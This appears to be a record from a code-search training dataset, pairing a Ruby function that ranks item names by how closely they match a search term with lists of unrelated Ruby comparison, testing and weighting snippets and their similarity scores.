"def ver_cmp(version1,version2)\n v_int_lista=version1.split(\".\").map { |x| x.to_i() }\n v_int_listb=version2.split(\".\").map { |x| x.to_i() }\n lena=v_int_lista.length()\n lenb=v_int_listb.length()\n minab=lena<lenb ? lena:lenb\n ii=0\n while(ii<minab)\n if v_int_lista[ii]!=v_int_listb[ii]\n break\n end\n ii=ii+1\n end\n if ii<minab\n then\n return v_int_lista[ii]-v_int_listb[ii]\n elsif ii==minab\n then\n if lena>minab\n then\n return 1\n elsif (lenb > minab)\n then\n return -1\n else\n return v_int_lista[minab-1]-v_int_listb[minab-1]\n end\n end\n return 9999\nend",
"def compare_resources(old, new, unified)\n puts \"Individual Resource differences:\"\n\n old.each do |resource|\n new_resource = new.find{|res| res[:resource_id] == resource[:resource_id]}\n next if new_resource.nil?\n\n\n unless new_resource[:parameters] == resource[:parameters]\n if unified\n #Only print the diff of resources\n puts Diffy::Diff.new( string_resource(resource), string_resource(new_resource), :diff => \"-U 1000\")\n else\n puts \"Old Resource:\"\n puts string_resource(resource)\n \n puts\n \n puts \"New Resource:\"\n puts string_resource(new_resource)\n end\n end\n end\nend",
"def str_includes(str1, str2)\n if str2.downcase.include?(str1.downcase)\n true\n else\n false\n end\nend",
"def param_check_string(_param, _display, _value)\n critical_error('the param_check_string method was not overridden after being included in a database class')\n end",
"def levenshtein_distance(string1, string2)\n ld = Class.new.extend(Gem::Text).method(:levenshtein_distance)\n\n ld.call(string1, string2)\n end",
"def ==(other)\n @tc_string == other.tc_string\n end",
"def test_general_infos_search_4\n searchArg=Hash.new\n searchArg[\"first_name\"]=\"Avinash\"\n searchArg[\"first_name_regex\"]=\"Contains\"\n perl_search=GeneralInfo.search searchArg\n assert_not_nil perl_search\n\n searchArg=Hash.new\n searchArg[\"last_name\"]=\"Saxena\"\n searchArg[\"last_name_regex\"]=\"Contains\"\n\n perl_search1=GeneralInfo.search searchArg\n assert_not_nil perl_search1\n # perl_search1=GeneralInfo.search :last_name =>general_infos(:perl_cb)\n assert_equal perl_search,perl_search1\n end",
"def third_ana(str1, str2)\n sorted1 = str1.chars.sort\n sorted2 = str2.chars.sort\n sorted1 == sorted2\nend",
"def health_check_impl(str)\n health_request = SR_HEALTH_CHECK_REQUEST\n if str != nil && str != ''\n health_request += \" #{str}\"\n @health_response = \"#{SR_HEALTH_CHECK_REQUEST}: #{str}\"\n end\n @expected_events << [{source: \"statsd-router\", text: @health_response}]\n EventMachine.connect('127.0.0.1', SR_CONTROL_PORT, HealthClient, self) do |conn|\n conn.send_data(health_request)\n end\n end",
"def test_compare\n tests = [ \\\n {:symbol=>Qualifier::EQUAL, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::EQUAL, :left=>'yes', :right=>'no', :expected=>false},\n {:symbol=>Qualifier::NOT_EQUAL, :left=>'yes', :right=>'no', :expected=>true},\n {:symbol=>Qualifier::NOT_EQUAL, :left=>'yes', :right=>'yes', :expected=>false},\n {:symbol=>Qualifier::GREATER, :left=>2, :right=>1, :expected=>true},\n {:symbol=>Qualifier::GREATER, :left=>2, :right=>2, :expected=>false},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>2, :right=>1, :expected=>true},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>2, :right=>2, :expected=>true},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>1, :right=>2, :expected=>false},\n {:symbol=>Qualifier::LESS, :left=>1, :right=>2, :expected=>true},\n {:symbol=>Qualifier::LESS, :left=>1, :right=>1, :expected=>false},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>1, :right=>2, :expected=>true},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>1, :right=>1, :expected=>true},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>2, :right=>1, :expected=>false},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'y*', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'y?s', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'YES', :expected=>false},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'YES', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'y*', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'Y*', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'y?s', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'Y?s', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'no', :expected=>false},\n ]\n\n tests.each do |test|\n assert_equal(test[:expected], \\\n Qualifier.compare(test[:left], test[:right], test[:symbol]))\n end\n end",
"def do_compare (opts)\n\tif (params = opts[:parameters]) && params.size(:seq) > 0 &&\n\t params[0].is_a?(Numeric)\n\t diff = params[0]\n\telse diff = 0\n\tend\n\tdiff = @original - diff\n\tcase opts[:method]\n\twhen '<' then diff < 0\n\twhen '<=' then diff <= 0\n\twhen '==' then diff == 0\n\twhen '!=' then diff != 0\n\twhen '>=' then diff >= 0\n\twhen '>' then diff > 0\n\tend\n end",
"def substring_test(st1, st2)\n subs_st1 = []\n subs_st2 = []\n sub_length = 2\n\n loop do\n st1.downcase.chars.each_cons(sub_length) { |cons| subs_st1 << cons }\n sub_length += 1\n break if sub_length > st1.size\n end\n\n sub_length = 2\n\n loop do\n st2.downcase.chars.each_cons(sub_length) { |cons| subs_st2 << cons }\n sub_length += 1\n break if sub_length > st2.size\n end\n\n subs_st1.any? { |substr| subs_st2.include?(substr) }\nend",
"def test_less_than_3_equal_chars\n\t\tassert_equal(false,compare('1234','1325'))\n\tend",
"def test_multiple_string_number_2\r\n # x2-g8 < x2-y7 < x2-y08 < x8-y8\r\n assert_equal ['x02-g8', 'x2-y7', 'x02-y08', 'x8-y8'], ['x02-y08', 'x8-y8', 'x2-y7', 'x02-g8'].natural_sort, \"TODO Not implemented\"\r\n end",
"def twoStrings(s1, s2)\n require 'set'\n set1 = Set.new(s1.chars)\n set2 = Set.new(s2.chars)\n if set1.intersect? set2\n return \"YES\"\n else\n return \"NO\"\n end\nend",
"def compare_version(v1, v2)\r\n v1 = v1.split('.')\r\n v2 = v2.split('.')\r\n longest = v1.length > v2.length ? v1 : v2\r\n (0...(longest.length)).each do |idx|\r\n one = v1[idx] || '0'\r\n two = v2[idx] || '0'\r\n return -1 if two.to_i > one.to_i\r\n return 1 if one.to_i > two.to_i\r\n end\r\n 0\r\nend",
"def case_insensitive_match; end",
"def common_substrings(str1, str2)\n a_one = str1.split(//)\n a_two = str2.split(//)\n\n a_common = []\n indexed = 0\n\n a_two.each do |i|\n if i == a_one[indexed]\n a_common << i\n else\n a_common << \" \"\n end\n indexed+= 1\n end\n\n stripped = a_common.join.strip\n substrings = stripped.split(/ /)\n longest_substring = \"\"\n\n substrings.each do |i|\n if i.length > longest_substring.length\n longest_substring = i\n else \n nil\n end\n\n end\n longest_substring\nend",
"def cmp(text)\n file_log.cmp(file_node, text)\n end",
"def assert(expected, output)\n left = expected.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n right = output.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n nodiff = left.scan(/./).sort == right.scan(/./).sort\n unless ( nodiff )\n puts \"\\nERROR in comparaison\\n\"\n puts \"EXPECTED : #{left}\"\n puts \"RETURNED : #{right}\"\n end\n nodiff.should == true\n end",
"def common_substrings(string_one, string_two)\n if string_one.length <= string_two.length\n longer_string = string_two\n shorter_string = string_one\n else\n longer_string = string_one\n shorter_string = string_two\n end\n\n\n length = shorter_string.length\n until length == 0\n shorter_string_subs = []\n (0..shorter_string.length - length).each do |start|\n sub = shorter_string[start...start + length]\n return sub if longer_string.include?(sub)\n end\n\n length -= 1\n end\n return \"\"\nend",
"def compare(a, b)\n comparator.call a, b\n end",
"def compareFields(fieldA, fieldB)\r\n\ta = fieldA.to_s.strip.downcase\r\n\tb = fieldB.to_s.strip.downcase\r\n\t$logger.debug { \"compareFields: comparing '\" + a + \"' to '\" + b + \"'...\" }\r\n\tif (a == b)\r\n\t\t$logger.debug { \" They match!\" }\r\n\t\treturn true\r\n\tend\r\n\t$logger.debug { \" NO match!\" }\r\n\treturn false\r\nend",
"def compare(x, y); end",
"def _test_text ; process_test_case(\"text\") ; end",
"def str_distance(str1, str2)\n end",
"def str_distance(str1, str2)\n end",
"def compare_strings(input_text, dictionary_word)\n for i in 0..input_text.length - 1 do\n if input_text.length - i >= dictionary_word.length\n j = i + dictionary_word.length - 1\n arr = input_text.slice(i..j)\n if arr.eql?(dictionary_word)\n @output_hash = update_output_hash(arr, @output_hash)\n end\n end\n end\nend",
"def test_convert\n assert_equal(\"test and tested\", @tester.convert)\n assert_equal(\"test, tester, and tested\", @tester2.convert)\n end",
"def test_does_say_hello_work\n if (\"hello\" == say_hello)\n puts \"Passed\"\n else\n puts \"Failed\"\n end\nend",
"def assert_equal(type,expected, actual)\n text1=get_text(type,expected)\n text2=$array1[\"#{actual}\"] \n puts text1\n puts text2\n if text1 == text2\n puts \"given text is available\"\n elsif \n $log.error \"given #{expected} text is not displayed\"\n raise(\"given #{expected} text is not displayed\")\n end\nend",
"def check_and_set_string_type\n key = self.key.to_sym\n if KEY_TO_STRING_OPTIONS.key?(key)\n # If there are explicit string options, match the value to one of them.\n matched = false\n options = KEY_TO_STRING_OPTIONS[key]\n options.each do |opt|\n if Metadatum.str_to_basic_chars(text_raw_value) == Metadatum.str_to_basic_chars(opt)\n # Ex: Match 'neb ultra-iifs dna' to 'NEB Ultra II FS DNA'\n # Ex: Match '30-day mortality' to \"30 Day Mortality\"\n self.text_validated_value = opt\n matched = true\n break\n end\n end\n unless matched\n errors.add(:text_raw_value, \"#{text_raw_value} did not match options #{options.join(', ')}\")\n end\n else\n self.text_validated_value = text_raw_value\n end\n end"
] |
[
"0.628744",
"0.58778334",
"0.58395046",
"0.58195734",
"0.578447",
"0.57586896",
"0.57297695",
"0.5725279",
"0.5725279",
"0.5573547",
"0.5542165",
"0.5541122",
"0.5444125",
"0.54302084",
"0.5377373",
"0.53132224",
"0.52854174",
"0.5228747",
"0.52013123",
"0.5180788",
"0.5161691",
"0.5158711",
"0.5135301",
"0.513249",
"0.5094986",
"0.5084436",
"0.5077703",
"0.50678456",
"0.5053395",
"0.5027061",
"0.50106764",
"0.49877763",
"0.4981863",
"0.49709153",
"0.4964768",
"0.4962454",
"0.49597305",
"0.4946862",
"0.4936573",
"0.4934409",
"0.48990244",
"0.48947966",
"0.48902193",
"0.4859099",
"0.48515534",
"0.48503065",
"0.48465115",
"0.48297745",
"0.48116085",
"0.4808318",
"0.48032886",
"0.48032886",
"0.48032886",
"0.4795233",
"0.47940987",
"0.47789404",
"0.47778186",
"0.47778186",
"0.47717848",
"0.47715938",
"0.47706923",
"0.47676015",
"0.47527796",
"0.47524908",
"0.47478208",
"0.47442773",
"0.47384793",
"0.47354823",
"0.47287828",
"0.47272915",
"0.47269568",
"0.47189116",
"0.4718253",
"0.47101516",
"0.47024894",
"0.4696981",
"0.4693701",
"0.4692346",
"0.46896735",
"0.46867794",
"0.46796304",
"0.46768382",
"0.46747604",
"0.46593395",
"0.465577",
"0.4644384",
"0.4640167",
"0.4636496",
"0.46363503",
"0.46357927",
"0.46341318",
"0.46282008",
"0.46276203",
"0.46237424",
"0.46192878",
"0.46192878",
"0.4618266",
"0.4612057",
"0.46107396",
"0.46093726",
"0.46081123"
] |
0.0
|
-1
|
Weighs the result. The lower the weight the closer the match
|
def weigh(search_term:, item_name:)
return 3 unless search_term.present? && item_name.present?
return 0 if item_name.downcase.start_with?(search_term.downcase)
return 1 if item_name.downcase.include?(search_term.downcase)
2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def weighted_score\n score * metric.weight\n end",
"def weight\n num_motions.zero? ? 0.5 : total_score.fdiv(max_score)\n end",
"def weight_results(results)\n weights = Hash.new { |hash, key| hash[key] = 0 }\n\n results.each do |set|\n set.each do |item|\n weights[item.name] += item.hits\n end\n end\n\n weights\n end",
"def weight; end",
"def optimize(weight)\r\n return 0 if weight <= 0\r\n\r\n best = nil\r\n $items.each do |item|\r\n c = optimize(weight - item.weight) + item.cost\r\n best = c if best.nil? || c < best\r\n end\r\n best\r\nend",
"def normalized_weighting\n BigDecimal(weight.to_s) / ReputationRule.sum('weight')\n end",
"def calculate_weight\n update_attribute :weight, votes.sum(:value)\n weight\n end",
"def weighted_score\n return nil if self.points.nil?\n self.points * self.weighting / self.maximum_points\n end",
"def original_weight\n @original_weight ||= (1.0 / (wrapper1.render.length * wrapper2.render.length))\n end",
"def weighted_combined_score\n return 0.0/0.0 if review_committee_score.nil? || interview_committee_score.nil?\n ratio = offering.final_decision_weight_ratio\n r = review_committee_score * ratio\n i = interview_committee_score * (1 - ratio)\n r + i\n end",
"def compute_weighted_overall_score\n (Player::Feedback::FIT_WEIGHT * avg_fit_score +\n Player::Feedback::PUNC_WEIGHT * avg_punctuality_score +\n Player::Feedback::SKILL_WEIGHT * avg_skill_score +\n Player::Feedback::PERS_WEIGHT * avg_personality_score)\n end",
"def calc_total_weight\n 0\n end",
"def apply_usage_weights(word_hash)\n max_usage = @word_list.values.max.to_f\n max_usage = 1 if max_usage == 0\n\n weighted_array = word_hash.map do |word, bigram_score|\n usage_score = @word_list[word].to_f / max_usage\n [word, (bigram_score * (1 - @alpha)) + (usage_score * @alpha)]\n end\n\n Hash[weighted_array]\n end",
"def optimize3(weight, cost=0, items = $items)\r\n return cost if weight <= 0 || items.empty?\r\n # puts \"#{weight}\\t#{cost}\\t#{items.collect{|i| i.weight}.join(' ')}\"\r\n same_ratio = items.find_all { |i| i.ratio == items[0].ratio }\r\n global_best = nil\r\n same_ratio.size.times do |x|\r\n if weight % items[x].weight == 0\r\n return items[x].cost * (weight / items[x].weight) + cost\r\n end\r\n \r\n best = (x == 0) ? items[x].cost * (weight / items[x].weight + 1) + cost : nil\r\n \r\n (items - [items[x]]).each do |item|\r\n if x == 0\r\n c = optimize3(weight % items[x].weight, items[x].cost * (weight / items[x].weight) + cost, items - [items[x]])\r\n else\r\n c = optimize3(weight - items[x].weight, items[x].cost + cost, items)\r\n end\r\n best = c if (best.nil? || c < best)\r\n end\r\n global_best = best if best && (global_best.nil? || best < global_best)\r\n end\r\n global_best\r\nend",
"def reduce_weight \n @weight -= WEIGHT_INCREMENT\n # increment could be confusing and imply an increase rather than a decrease \n # but it is being reduced by increments of 10 so it makes sense??? \n # It's the best of the names that came to mind.\n end",
"def calculateWeight word\n letters = word.split\n weight = 0\n hash_alphabet = generateHashWithLetterAndWeight()\n letters.each do |letter|\n (/[[:upper:]]/.match(letter)) ? weight += hash_alphabet[letter.downcase].to_i * 2 : weight += hash_alphabet[letter.downcase].to_i\n end\n weight\n end",
"def boost\n 1.0 #self.rating / 2.0\n end",
"def weight\n 0\n end",
"def weight\n (kyc_level == 'any' ? 0 : 10) + (group == 'any' ? 0 : 1)\n end",
"def compute_score\n @query.items.map.with_index do |element, index|\n weight(index) * weight(@classification.items.index(element))\n end.sum\n end",
"def similarity_limit\n 0.420 # don't ask\n end",
"def match(hash)\n score, total_score = @archetype.inject([0, 0]) do |accum, fdef_pair|\n current_score, total_score = accum\n field, field_spec = fdef_pair\n\n scorer = field_spec[:scorer]\n weight = field_spec[:weight]\n\n rvalue = hash[field]\n score = rvalue ? scorer.(field_spec[:value].strip, rvalue.strip) * weight : 0\n\n [current_score + score, total_score + weight]\n end\n\n score.to_f / total_score\n end",
"def fuzzy_match_cutoff\n 0.3\n end",
"def compute_score\n\n total_score=0\n total_weights=0\n self.class.field_mappings.each do |field_name,field_config|\n if !field_config[:weight].blank?\n total_score += field_config[:weight].to_f * (self.class.blank_value?(self.send(field_name)) ? 0 : 1) # if the field is blank, it is a 0 regardless of weight, otherwise it is a 1 times its weight\n total_weights += field_config[:weight].to_f\n end\n end\n\n return ((total_score/total_weights)*100).ceil\n\n end",
"def weight\n questions.reduce(0) { |memo, question| question.weight > 0 ? memo + question.weight : memo }\n end",
"def weight\n if @weight\n @weight\n else\n @confines.length\n end\n end",
"def weight\n if @weight\n @weight\n else\n @confines.length\n end\n end",
"def weight_until_goal\n if weigh_ins.count > 0 && goal_weight > 0\n weigh_ins.first.current_weight - goal_weight\n elsif goal_weight > 0\n start_weight - goal_weight\n end\n end",
"def weighted_max_score\n max_score * weight\n end",
"def output(input)\n result = input.zip(weights).inject(0) do |result, temp_array|\n result + temp_array[0] * temp_array[1]\n end\n (result > threshold)? 1 : 0\n end",
"def weight\n sides.map(&:weight).reduce(&:+)\n end",
"def weight r, h\n len_r = r.magnitude\n\n if len_r.xbetween? 0, h\n 315.0 / (64 * Math::PI * h**9) * (h**2 - len_r**2)**3\n else\n 0.0\n end\n end",
"def weight\n 2 # ounces\n end",
"def weight_in_stones\n\t\t((@weight * 2.20462) / 14).to_i\n\tend",
"def calculate_bmi weight, height\n (weight.to_f / (height.to_f * height.to_f)) * 703\nend",
"def query_all_weight\n d = 0 \n eqs = query_all_wearings\n p \"=>wearing=#{eqs.inspect}\"\n eqs.each {|k,v|\n d+= v.weight if v\n }\n return d\n end",
"def search_weight(terms)\n weights = {\n total: 0,\n terms: {}\n }\n terms.each do |term|\n author_names = authors.pluck(:first_name, :last_name, :institution).flatten.join(' ')\n text_blob = \"#{self.name} #{self.description} #{author_names}\"\n score = text_blob.scan(/#{::Regexp.escape(term)}/i).size\n if score > 0\n weights[:total] += score\n weights[:terms][term] = score\n end\n end\n weights\n end",
"def bmi_calc height, weight\n return (weight / height**2).to_i\nend",
"def compute_weight object\n object.line_items.map { |li| (li.variant.weight || 0) * li.quantity }.sum\n end",
"def weight\n return @weight\n end",
"def bmi\n ( weight.to_f / ( (height.to_f)**2 ) ) * 703.0\n end",
"def calculate_bmi(height,weight)\n ( weight / ( (height/100) * (height/100) ) )\n end",
"def weight\n options.reduce(0) { |memo, option| option.weight > 0 ? memo + option.weight : memo }\n end",
"def calculate(height, weight)\n bmi = (weight / height) / height.to_f;\nend",
"def weight(text)\n weight = @emphasis[:multiplier]\n\n if text.length >= @emphasis[:long_words_threshold]\n weight *= @emphasis[:long_words]\n end\n\n if text[0,1] == text[0,1].upcase\n weight *= @emphasis[:upper_case]\n end\n\n weight += vowels(text)\n weight += consonants(text)\n weight\n end",
"def weight\n @weight || @confines.length\n end",
"def maxweight(w)\n @weight = w if w>@weight\n end",
"def currentWeight() weighins.last.weight end",
"def update_weight(target, ouput, weight)\n @eta * (target - output) * weight\n end",
"def compute_weights\n\t\t@weight = Hash.new\n\t\t\n\t\t@terms.each do |term|\n\t\t\t@doc_list.values.each do |doc|\n\t\t\t\tvalue = doc.freq_rel(term) * @idf[term]\n\t\t\t\t@weight[[term,doc]] = value\n\n\t\t\t\tassert { value >= 0 }\n\t\t\tend\n\t\tend\n\tend",
"def get_weight\n ((@contents[/(?<=(Shipping Weight:<\\/b>)\\s).*(?=\\s\\()/])[/\\d*.\\d*/]).to_f.round_to(2)\n\n end",
"def corrected_rating\n [(weighted_rating + 2) * 1.6666666666666667, 5.0].min\n end",
"def weight\n order_lines.inject(0) { |sum, l| sum + l.weight }\n end",
"def compute_weights\n @weight = Hash.new\n \n @terms.each do |term|\n @doc_list.values.each do |doc|\n value = doc.freq_rel(term) * @idf[term]\n @weight[[term,doc]] = value\n\n assert { value >= 0 }\n end\n end\n end",
"def real_weight(tracking_number)\n begin\n tracking_info = fedex.track(tracking_number: tracking_number)\n package_weight = tracking_info.first.details[:package_weight]\n package_weight[:units] == 'LB' ? package_weight[:value].to_f/2.2046 : package_weight[:value]\n rescue\n 0\n end\n end",
"def edge_weight(source, target)\r\n\t\t@edges.each do |edge|\r\n\t\t\treturn edge.weight if edge.source == source and edge.target == target\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def score\n w = 0.3\n time = diff_time()\n sum_goods = goods()\n sum_bads = bads()\n total = sum_goods + sum_bads\n (w * sum_goods * (sum_goods/total.to_f)**3 * (total/time)).floor\n end",
"def calc_score(word_list, total_freq, weight)\n hash = Hash.new{}\n word_list.each{|w|\n s = (weight * working_dictionary[w]/(total_freq)*100).round(4)\n hash[w] = s \n }\n hash = hash.sort_by{|k,v| -v} \n hash = Hash[*hash.flatten]\n return hash\n end",
"def bakers_percent weight\n weight / bakers_percent_100.to_f\n end",
"def weighted_expected_sample(players, expected_salary)\n weighted_sample(players.map do |p|\n p.buy_price = p.buy_price / (p.buy_price - expected_salary).abs\n p\n end)\n end",
"def weight\n @mass * @hopper.size\n end",
"def score\n @score ||= phonetic_levenshtein_distance + penalties\n end",
"def weighted_probability(word)\n word = (Word === word ? word : get(word))\n\n p = BigDecimal.new(1)\n p = p * probability(word)\n p = p * file_probability(word, 1)\n #p = p * lexicon_weight(word)\n #p = p * weight_length(word)\n #p = p * weight_stem(word)\n #p = p * weight_plural(word)\n p\n end",
"def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end",
"def product_weight\n price_calculator.weight\n end",
"def weighted_score(score, avg_score)\n #add if statement if score is 0\n if(score==0)\n return\n end\n return (avg_score + 215)/score\n end",
"def path_weight_to(other)\n shortest_path_to(other,:method => :djikstra).map{|edge| edge.weight.to_f}.sum\n end",
"def heuristic(current:, target:)\n d = (current[0].real - target[0].real).abs + (current[0].imag - target[0].imag).abs\n d += 7 if d <= 8 && current[1] != target[1]\n\n d\nend",
"def weight\n if !block_given?\n return @j_del.java_method(:weight, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling weight()\"\n end",
"def weight\n if !block_given?\n return @j_del.java_method(:weight, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling weight()\"\n end",
"def weight\n return data.weight\n end",
"def best_match(given_word)\n words = (@word_list.is_a? Array) ? @word_list : @word_list.keys\n\n word_bigrams = bigramate(given_word)\n word_hash = words.map do |key|\n [key, bigram_compare(word_bigrams, bigramate(key))]\n end\n word_hash = Hash[word_hash]\n\n # Weight by word usage, if logical\n word_hash = apply_usage_weights(word_hash) if @word_list.is_a? Hash\n\n word_hash.max_by { |_key, value| value }.first\n end",
"def match_rating\n @match_rating ||= area.to_f / ratio\n end",
"def solution_proximity_heuristic(amount,comb,coins)\n (amount-comb.sum)*min_size_heuristic(amount,comb,coins)\nend",
"def weighted_random_selection\n total_weight = @weighted_values.values.sum\n random_weight = rand(0.0..total_weight)\n @weighted_values.each do |item, weight|\n random_weight -= weight\n break item if random_weight <= 0\n end\n end",
"def calculate_weighted_sum(base, weight_factors); end",
"def similarity_to other, threshold = nil\n Babushka::Levenshtein.distance self, other, threshold\n end",
"def weighting\n self.class.weighting\n end",
"def calculate_bmi_fixed\n\tweight = 140\n\theight = 66\n\n\tbmi.round(2) = weight.to_f/height\n\n\tputs \"Your BMI is \" + bmi.to_s\nend",
"def final_decision_weight_ratio\n r = read_attribute(:final_decision_weight_ratio)\n (r.nil? || r.zero?) ? 0.5 : r\n end",
"def rateBoringness\n distanceToUnseen = boringnesses[:unseen] || LargeFiniteNumber\n distanceToFood = boringnesses[:food] || LargeFiniteNumber\n distanceToEnemy = boringnesses[:enemyHill] || LargeFiniteNumber\n # Apply a sub-linear function to each distance so that\n # farther away distances have less influence than close.\n # Food is more important than unexplored spaces.\n # Enemy nests are even more important(?).\n # Using a continuous function (rather than e.g. if distanceToFood < 6)\n # makes it easier to write a function that can fairly compare any\n # two locations we're considering moving to, even when the two\n # locations fall on different sides of that threshold.\n result = Math.sqrt(distanceToUnseen * ExploreWeight) +\n Math.sqrt(distanceToFood * FoodWeight) +\n Math.sqrt(distanceToEnemy * HillWeight)\n #log \"#{@col},#{@row} boringness: #{distanceToUnseen}, #{distanceToFood}, #{distanceToEnemy} ==> #{result}\"\n return result\n end",
"def find_optimal(rootCode,goalCode)\n\tfindHops(rootCode, goalCode, \n\t\tlambda{|flight,oldweight| \n\t\t\toldweight + (flight.date.date.to_i + (flight.flightDuration).seconds - @date.date.to_i)/1200 + 100 + flight.seatprice/5 \n\t\t\t# oldweight + (number of hours between arrival and departure + 100 (per hop))*3 + seatprice/5 (~25-250)\n\t\t\t})\nend",
"def calculate_price(weight)\n \n price = self.price\n \n if self.weights.size > 0\n proper_weight = self.weights.find(\n :first,\n :conditions => [\"? BETWEEN #{connection.quote_column_name(\"min_weight\")} AND #{connection.quote_column_name(\"max_weight\")}\", weight]\n )\n price = proper_weight.price if proper_weight\n end\n \n self.calculated_price = price.to_f.round(2) + Preference.get_value('store_handling_fee').to_f\n end",
"def normalize_weights(rules)\n weight_total = rules.map { |_attr, rule| rule[:weight] }.reduce(0.0, &:+)\n rules.each do |_attr, rule|\n rule[:weight] = rule[:weight] / weight_total\n end\n end",
"def best_match_from(other)\n other.max_by do |their_type|\n best_type = self.by_precedence.find do |our_type|\n their_type =~ our_type\n end\n if best_type.nil?\n 0\n else\n best_type.quality * their_type.quality\n end\n end\n end",
"def calc_point_weight(weight, distance)\n case weight\n when 'uniform' then UNIFORM_WEIGHT\n when 'distance' then 1 / distance**2\n else UNIFORM_WEIGHT\n end\n end",
"def weight_in_to_lbs(weight, lbs)\n return weight.to_f * lbs\nend",
"def compute(object)\n @seller = self.calculable.seller if self.calculable && self.calculable.respond_to?(:seller)\n weight = object.weight(@seller)\n # find weight range\n arr = JSON.parse(preferred_interval)\n # sort by inerval from smalles to biggest\n arr = arr.to_enum.sort_by {|x| x['int']}\n arr.each do |h|\n if weight.to_f < h['int'].to_f\n cost = h['cost'].to_f\n break\n end\n end\n # if not find range - maximum cost\n cost = arr.map {|x| x['cost']}.max.to_f unless cost\n cost\n end",
"def rms()\n diffSquare = @list.collect {|item| (item[:prediction] - item[:rating]) ** 2}\n Math.sqrt(sum(diffSquare) / diffSquare.length)\n end",
"def set_hits(results, weights)\n results.each {|item| item.hits = weights[item.name] }\n end",
"def product_score\n ((carbon_score + water_score.to_i + brand.brand_score) * 10.0) / 12.0\n end",
"def suggested_mash_ratio\n (preboil_volume_gallons + (preboil_volume_gallons*2 + 2*WATER_RETENTION_COEFFICIENT *\n preboil_volume_gallons * @total_grain_weight_lbs)**0.5) / @total_grain_weight_lbs\n end",
"def heuristic_score\n 0\n end",
"def weight\n decay_conversation # fade the conversation since the last time we spoke\n incoming_weight + outgoing_weight\n end",
"def wap(limit = 30)\n total_price = 0.0\n total_volume = 0.0\n @rates.each_with_index do |rate, index|\n break if index >= limit\n total_price += rate.total\n total_volume += rate.volume\n end\n total_price / total_volume\n end",
"def similarity (user1, user2)\n\t\tuser1= user1.to_s\n\t\tuser2 = user2.to_s\n\t\tuser1_index = @user_rating_index[user1]\n\t\tuser2_index = @user_rating_index[user2]\n\t\ttotal_diff = 0\n\t\tcounter=0\n\n\t\tuser1_index.each_key do |movie|\n\t\t\tif user2_index.has_key? (movie) \n\t\t\t\tdiff = (user1_index[movie].to_i - user2_index[movie].to_i).abs #abs value difference to be summed then divided by total\n\t\t\t\ttotal_diff += diff\n\t\t\t\tcounter+=1\n\t\t\tend\n\t\tend\n\t\tif counter == 0\n\t\t\treturn 5.0\n\t\tend\n\t\treturn (total_diff.to_f/counter) \n\tend",
"def estimate_hub_score(guid,hub)\n out_degrees,in_degrees = @driver.degrees\n weight = 1.0\n if @driver.in_link?(guid)\n weight += 1.0/in_degrees\n end\n weight += @driver.directs(guid).to_f/@driver.total_directs\n weight * hub\n end",
"def score\n verdict ? (verdict.score * problem.weight / verdict.max_score.to_f) : 0\n end",
"def weight\n\t\tweight = 0\n\t\tself.order_line_items.each do |item|\n\t\t\tweight += item.quantity * item.product.weight\n\t\tend\n\t\treturn weight\n\tend",
"def final_decision_weight_ratio_pretty\n reviewer_weight = final_decision_weight_ratio * 100\n interviewer_weight = 100 - reviewer_weight\n \"R=#{'%.0f' % reviewer_weight} / I=#{'%.0f' % interviewer_weight}\"\n end"
] |
[
"0.66198456",
"0.6503539",
"0.64279974",
"0.63668936",
"0.6362549",
"0.61802655",
"0.61461353",
"0.6085469",
"0.6041074",
"0.6032602",
"0.6021423",
"0.59821606",
"0.5982013",
"0.59791476",
"0.59709305",
"0.59617853",
"0.5958512",
"0.5928692",
"0.59035957",
"0.58983785",
"0.58784807",
"0.5867609",
"0.5862724",
"0.5862046",
"0.58523",
"0.5837165",
"0.5837165",
"0.58216846",
"0.5810717",
"0.5801652",
"0.5793518",
"0.5785092",
"0.5784038",
"0.57823217",
"0.57710886",
"0.5768687",
"0.57655793",
"0.5759932",
"0.5748965",
"0.5741179",
"0.5718843",
"0.5714976",
"0.5714212",
"0.57134515",
"0.56805235",
"0.5673806",
"0.56669587",
"0.5646621",
"0.5642382",
"0.56406856",
"0.56057",
"0.5602491",
"0.5589386",
"0.5583714",
"0.5583418",
"0.55727476",
"0.55712056",
"0.5561311",
"0.55535096",
"0.5550388",
"0.5547878",
"0.55459154",
"0.5545041",
"0.5543493",
"0.55393356",
"0.5539172",
"0.5536926",
"0.5519034",
"0.551501",
"0.551501",
"0.5512179",
"0.55110586",
"0.55083704",
"0.5507205",
"0.55041564",
"0.5502225",
"0.5487235",
"0.5473458",
"0.54702926",
"0.54628897",
"0.54593766",
"0.5444732",
"0.54337984",
"0.54265016",
"0.542323",
"0.5422007",
"0.5417142",
"0.54090345",
"0.5396643",
"0.5394019",
"0.5391725",
"0.5391584",
"0.53910124",
"0.53866464",
"0.5369077",
"0.53644395",
"0.5355047",
"0.5352565",
"0.53478014",
"0.53435665"
